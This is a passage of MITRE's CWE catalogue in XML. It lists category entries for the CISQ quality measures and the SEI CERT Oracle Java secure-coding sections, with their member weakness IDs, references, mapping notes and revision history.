            <Has_Member CWE_ID="772" View_ID="1128"/>
            <Has_Member CWE_ID="789" View_ID="1128"/>
            <Has_Member CWE_ID="798" View_ID="1128"/>
            <Has_Member CWE_ID="835" View_ID="1128"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-962"/>
            <Reference External_Reference_ID="REF-968"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-23</Submission_Date>
               <Submission_Comment>Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-03-15">CISQ Quality Measures - Security</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1132" Name="CISQ Quality Measures (2016) - Performance Efficiency" Status="Draft">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Performance Efficiency, as documented in 2016 with the Automated Source Code Performance Efficiency Measure (ASCPEM) Specification 1.0. Presence of these weaknesses could reduce the performance efficiency of the software.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1042" View_ID="1128"/>
            <Has_Member CWE_ID="1043" View_ID="1128"/>
            <Has_Member CWE_ID="1046" View_ID="1128"/>
            <Has_Member CWE_ID="1049" View_ID="1128"/>
            <Has_Member CWE_ID="1050" View_ID="1128"/>
            <Has_Member CWE_ID="1057" View_ID="1128"/>
            <Has_Member CWE_ID="1060" View_ID="1128"/>
            <Has_Member CWE_ID="1063" View_ID="1128"/>
            <Has_Member CWE_ID="1067" View_ID="1128"/>
            <Has_Member CWE_ID="1072" View_ID="1128"/>
            <Has_Member CWE_ID="1073" View_ID="1128"/>
            <Has_Member CWE_ID="1089" View_ID="1128"/>
            <Has_Member CWE_ID="1091" View_ID="1128"/>
            <Has_Member CWE_ID="1094" View_ID="1128"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-959"/>
            <Reference External_Reference_ID="REF-968"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-23</Submission_Date>
               <Submission_Comment>Constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, References</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-03-15">CISQ Quality Measures - Performance</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1134" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="116" View_ID="1133"/>
			<Has_Member CWE_ID="180" View_ID="1133"/>
			<Has_Member CWE_ID="289" View_ID="1133"/>
			<Has_Member CWE_ID="117" View_ID="1133"/>
			<Has_Member CWE_ID="144" View_ID="1133"/>
			<Has_Member CWE_ID="150" View_ID="1133"/>
			<Has_Member CWE_ID="409" View_ID="1133"/>
			<Has_Member CWE_ID="134" View_ID="1133"/>
			<Has_Member CWE_ID="78" View_ID="1133"/>
			<Has_Member CWE_ID="182" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-814"/>
			<Reference External_Reference_ID="REF-996"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1135" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="665" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-815"/>
			<Reference External_Reference_ID="REF-997"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1136" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="252" View_ID="1133"/>
			<Has_Member CWE_ID="476" View_ID="1133"/>
			<Has_Member CWE_ID="597" View_ID="1133"/>
			<Has_Member CWE_ID="595" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-816"/>
			<Reference External_Reference_ID="REF-998"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1137" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Numeric Types and Operations (NUM) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="190" View_ID="1133"/>
            <Has_Member CWE_ID="191" View_ID="1133"/>
            <Has_Member CWE_ID="197" View_ID="1133"/>
            <Has_Member CWE_ID="369" View_ID="1133"/>
            <Has_Member CWE_ID="681" View_ID="1133"/>
            <Has_Member CWE_ID="682" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-817"/>
			<Reference External_Reference_ID="REF-999"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1138" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="838" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-971"/>
			<Reference External_Reference_ID="REF-1000"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1139" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Object Orientation (OBJ) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="374" View_ID="1133"/>
            <Has_Member CWE_ID="375" View_ID="1133"/>
            <Has_Member CWE_ID="486" View_ID="1133"/>
            <Has_Member CWE_ID="491" View_ID="1133"/>
            <Has_Member CWE_ID="492" View_ID="1133"/>
            <Has_Member CWE_ID="498" View_ID="1133"/>
            <Has_Member CWE_ID="500" View_ID="1133"/>
            <Has_Member CWE_ID="766" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-818"/>
			<Reference External_Reference_ID="REF-1001"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1140" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Methods (MET) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="617" View_ID="1133"/>
			<Has_Member CWE_ID="589" View_ID="1133"/>
			<Has_Member CWE_ID="697" View_ID="1133"/>
			<Has_Member CWE_ID="581" View_ID="1133"/>
			<Has_Member CWE_ID="573" View_ID="1133"/>
			<Has_Member CWE_ID="586" View_ID="1133"/>
			<Has_Member CWE_ID="583" View_ID="1133"/>
			<Has_Member CWE_ID="568" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-819"/>
			<Reference External_Reference_ID="REF-1002"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1141" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Exceptional Behavior (ERR) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="460" View_ID="1133"/>
			<Has_Member CWE_ID="584" View_ID="1133"/>
			<Has_Member CWE_ID="459" View_ID="1133"/>
			<Has_Member CWE_ID="248" View_ID="1133"/>
			<Has_Member CWE_ID="705" View_ID="1133"/>
			<Has_Member CWE_ID="754" View_ID="1133"/>
			<Has_Member CWE_ID="703" View_ID="1133"/>
			<Has_Member CWE_ID="397" View_ID="1133"/>
			<Has_Member CWE_ID="382" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-820"/>
			<Reference External_Reference_ID="REF-1003"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1142" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Visibility and Atomicity (VNA) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="362" View_ID="1133"/>
            <Has_Member CWE_ID="366" View_ID="1133"/>
            <Has_Member CWE_ID="413" View_ID="1133"/>
            <Has_Member CWE_ID="567" View_ID="1133"/>
            <Has_Member CWE_ID="662" View_ID="1133"/>
            <Has_Member CWE_ID="667" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-821"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1143" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Locking (LCK) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="412" View_ID="1133"/>
            <Has_Member CWE_ID="609" View_ID="1133"/>
            <Has_Member CWE_ID="667" View_ID="1133"/>
            <Has_Member CWE_ID="820" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-822"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1144" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Thread APIs (THI) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="572" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-823"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1145" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Thread Pools (TPS) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="392" View_ID="1133"/>
            <Has_Member CWE_ID="405" View_ID="1133"/>
            <Has_Member CWE_ID="410" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-824"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1146" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Thread-Safety Miscellaneous (TSM) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <References>
            <Reference External_Reference_ID="REF-825"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1147" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="67" View_ID="1133"/>
			<Has_Member CWE_ID="180" View_ID="1133"/>
            <Has_Member CWE_ID="198" View_ID="1133"/>
            <Has_Member CWE_ID="276" View_ID="1133"/>
            <Has_Member CWE_ID="279" View_ID="1133"/>
            <Has_Member CWE_ID="359" View_ID="1133"/>
            <Has_Member CWE_ID="377" View_ID="1133"/>
            <Has_Member CWE_ID="404" View_ID="1133"/>
            <Has_Member CWE_ID="405" View_ID="1133"/>
            <Has_Member CWE_ID="459" View_ID="1133"/>
            <Has_Member CWE_ID="532" View_ID="1133"/>
            <Has_Member CWE_ID="647" View_ID="1133"/>
            <Has_Member CWE_ID="705" View_ID="1133"/>
            <Has_Member CWE_ID="732" View_ID="1133"/>
            <Has_Member CWE_ID="770" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-826"/>
			<Reference External_Reference_ID="REF-1004"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1148" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Serialization (SER) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="319" View_ID="1133"/>
            <Has_Member CWE_ID="400" View_ID="1133"/>
            <Has_Member CWE_ID="499" View_ID="1133"/>
            <Has_Member CWE_ID="502" View_ID="1133"/>
            <Has_Member CWE_ID="770" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-827"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1149" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Platform Security (SEC) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <Relationships>
            <Has_Member CWE_ID="266" View_ID="1133"/>
            <Has_Member CWE_ID="272" View_ID="1133"/>
            <Has_Member CWE_ID="732" View_ID="1133"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-828"/>
			<Reference External_Reference_ID="REF-1005"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
